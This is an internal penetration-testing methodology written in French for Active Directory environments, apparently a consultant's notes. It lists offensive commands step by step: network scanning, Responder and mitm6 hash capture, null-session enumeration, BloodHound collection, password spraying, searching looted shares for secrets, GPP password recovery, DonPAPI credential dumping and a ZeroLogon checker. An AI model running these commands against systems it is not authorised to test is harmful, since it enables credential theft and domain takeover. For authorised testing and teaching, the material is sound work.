Roadmap TI interne

Outillage

  • Images Exegol (AD ou Full pour ne pas prendre de risques)
  • Modèle de prise de notes sous Obsidian [Lien]
  • Un Pack Office/Libre Office/Only Office pour ne pas être pris de cours quand on voudra ouvrir des documents trouvés dans les partages réseau

Boite noire

Accès au réseau

ifconfig # Consulter l'IP et les caractéristiques réseau
sudo dhclient eth0 -v # Demander l'attribution d'une adresse IP au serveur DHCP

Dans le cas où il n’y a pas de serveur DHCP, l’obtention d’une adresse IP ne se fera pas naturellement, il faut alors s’attribuer une IP fixe :

sudo systemctl stop NetworkManager
sudo ip addr flush eth0
sudo ip addr add $IP_ADDRESS/$MASK dev eth0

Il peut être intéressant également, pour scanner d’autres sous-réseaux, d’ajouter des routes par défaut.

sudo ip route add default dev eth0 via $IP_GATEWAY

Ecoute passive du réseau

  • Démarrer un WireShark sur l’interface principale
  • Vérifier la présence de protocoles en clair ou protocoles multidiffusion tels que LLMNR, NBT-NS ou MDNS

Cartographie du réseau

Faire un nmap sur les réseaux/sous-réseaux identifiés et bien mettre l’option -oA pour avoir toutes les sorties.

nmap -sC -sV -p- $IP --open -oA ScanNmap

Il est conseillé d’importer les scans dans Metasploit pour s’en resservir par la suite lors d’analyses/exploits sur des services.

msfdb init # Initialiser la base de données de Metasploit
metasploit # Lancer Metasploit

# Dans Metasploit
msf > workspace -a $NOM # Créer un espace de travail pour le projet
msf > workspace $NOM # Rentrer dans l'espace de travail voulu
msf > db_import $XML_FILE # Import du XML généré par Nmap

Dans le cas où le réseau est très étendu, installer et utiliser WebMap afin d’avoir un joli rendu de l’énorme scan nmap : [Github]

Protocoles multidiffusion

Lancer un Responder afin de voir quels protocoles multidiffusion sont actifs sur le réseau et garder une trace si des hashs NTLMv2 sont récupérés.

responder -I eth0 -wFv

Les résultats sont stockés dans /usr/share/responder/logs/Responder-Session.log

Si le protocole IPv6 est activé, il est encore plus simple et rapide de recueillir des hashs avec MITM6 :

mitm6 -i eth0 -d $DOMAIN

Sessions nulles et anonymes

Vérifier sur la session nulle est autorisée sur le protocole SMB :

crackmapexec smb $IP_RANGE -u '' -p '' --shares

Mais aussi sur le protocole RPC :

rpcclient -p 135 -U '' -N $IP

Ou encore sur le protocole LDAP :

ldapdomaindump $IP_DC

Etude des applicatifs

HTTP

  • Utiliser Aquatone pour avoir une vue rapide de toutes les interfaces et applications web qui tournent sous les ports 80 et 443.
cat $IPS_FILE | aquatone

FTP

  • Tester les accès Anonymes avec Metasploit
msf > use auxiliary/scanner/ftp/anonymous
msf > services -p 21 -R
msf > run

Boite grise

Récupération des informations du domaine

Exporter les objets du domaine pour les intégrer à BloodHound :

bloodhound-python -d $DOMAIN -u $USER -p $PASSWORD -c ALL -dc $DC_NAME -ns $IP_DNS --dns-tcp --tns-timeout 5

Installer le BloodHound de Lyak, qui intègre les certificats ADCS : [Github] (Pas besoin sous Exegol, car il intègre déjà le bon BloodHound)

Lancer ensuite BloodHound pour y injecter les fichiers JSON générés et débuter l’analyse du domaine :

sudo neo4j start
bloodhound

Sous Exegol, il y a une petite commande bien sympathique qui remonte toutes les analyses “quickwin” (ACL permissives, chemins de compromissions etc.)

bloodhound-quickwin -u neo4j -p exegol4thewin

Pour obtenir des informations sur le domaine qui ne sont pas sous la forme d’un graphe, deux outils sont disponibles : goddi et ldapdomaindump.

goddi -username=$USER -password=$PASS -domain=$DOMAIN -dc=$DC_NAME -unsafe
ldapdomaindump -u $USER -p $PASS -o $OUTPUT_DIR $DC_IP

Exploiter les partages réseau

Lister les partages réseau avec crackmapexec en prenant soin de filtrer les répertoires avec à minimat l’accès en lecture :

crackmapexec smb $IP_RANGE -u $USER -p $PASS --shares | grep "READ" | grep -v "IPC"

Le module spider_plus de crackmapexec permet de récupérer tous les fichiers présents dans les partages et les sauvegarder dans un répertoire /tmp/cme_spider_plus :

crackmapexec smb $IP_RANGE -u $USER -p $PASS --shares -M spider_plus

Il est alors possible de faire un grep dans ce répertoire sur des termes intéressants :

grep -rnw /tmp/cme_spider_plus/ -e "pass"
grep -rnw /tmp/cme_spider_plus/ -e "password"
grep -rnw /tmp/cme_spider_plus/ -e "secret"
grep -rnw /tmp/cme_spider_plus/ -e "token"
grep -rnw /tmp/cme_spider_plus/ -e "admin"
grep -rnw /tmp/cme_spider_plus/ -e "username"

Attaque par relais NTLM

Si les protocoles multidiffusion sont actifs, il peut être possible de faire du relais NTLM.

Voir la partie consacrée à cette attaque : [Relais NTLM]

Password Spraying

Tout d’abord vérifier la politique de mot de passe :

crackmapexec smb $IP_DC -d $DOMAIN -u $USER -p $PASS --pass-pol

Les sprays devront être adapté à la politique en place et notamment la présence d’un verrouillage de comptes à partir d’un nombre de tentatives erronées.

S’il n’y a pas de verrouillage, il est possible d’utiliser kerbrute afin d’être plus rapide dans le spray :

kerbrute bruteuser --dc $IP_DC -d $DOMAIN $PASS_LIST $USER_LIST

Si un verrouillage est en place, il faut y aller doucement et de préférence avec crackmapexec :

crackmapexec smb $IP_DC -u $USER_LIST -p $PASSWORD --continue-on-success

User as Pass

En plus du spray sur des mots de passe devinables, il peut être bon de tester le nom d’utilisateur en tant que mot de passe.

crackmapexec smb $IP_DC -u $USER_LIST -p $USER_LIST --continue-on-success --no-bruteforce

Cela peut également être réalisé avec metasploit :

use scanner/smb/smb_login
set USER_FILE $USER_FILE
set USER_AS_PASS true
run

Kerberoast

Voir la partie consacrée à cette attaque : [Kerberoast]

AS-Rep roasting

Voir la partie consacrée à cette attaque : [AS-REP roasting]

CVE publiques

ZeroLogon

A tester sur les controleurs de domaine [Github]

Attention : N’utiliser que le checker et pas d’exploit

./zerologon_tester.py $DC_HOSTNAME $DC_IP

BlueKeep

EternalBlue

GPP Password

Les stratégies de groupe sont stockées dans le partage SYSVOL des contrôleurs de domaine. Tous les utilisateurs du domaine y ont accès en lecture. Cela signifie que si un mot de passe est stocké dans ces GPP, il est possible de le retrouver.

Get-GPPPassword.py "$DOMAIN/$USER:$PASS@$DC_IP"
Get-GPPPassword.py "$DOMAIN/$USER@$DC_IP" -hashes $LM_HASH:$NT_HASH

Possible également de le faire avec le module gpp_password de CrackMapExec, qui va sortir tous les fichiers XML dans lesquels se trouvent des mots de passe.

crackmapexec smb $IP_RANGE -u $USER -p $PASS -M gpp_password

Post Exploitation

Dumper des creds

DonPAPI est un outil qui permet de retrouver des identifiants de connexion (clés DPAPI, mots de passe Wi-Fi, mots de passe en cache dans les navigateurs etc.)

DonPAPI "$DOMAIN/$USER:$PASS@$TARGET"

Exfiltrer la base NTDS

Voir la partie consacrée à cette attaque : [Extraire la base NTDS]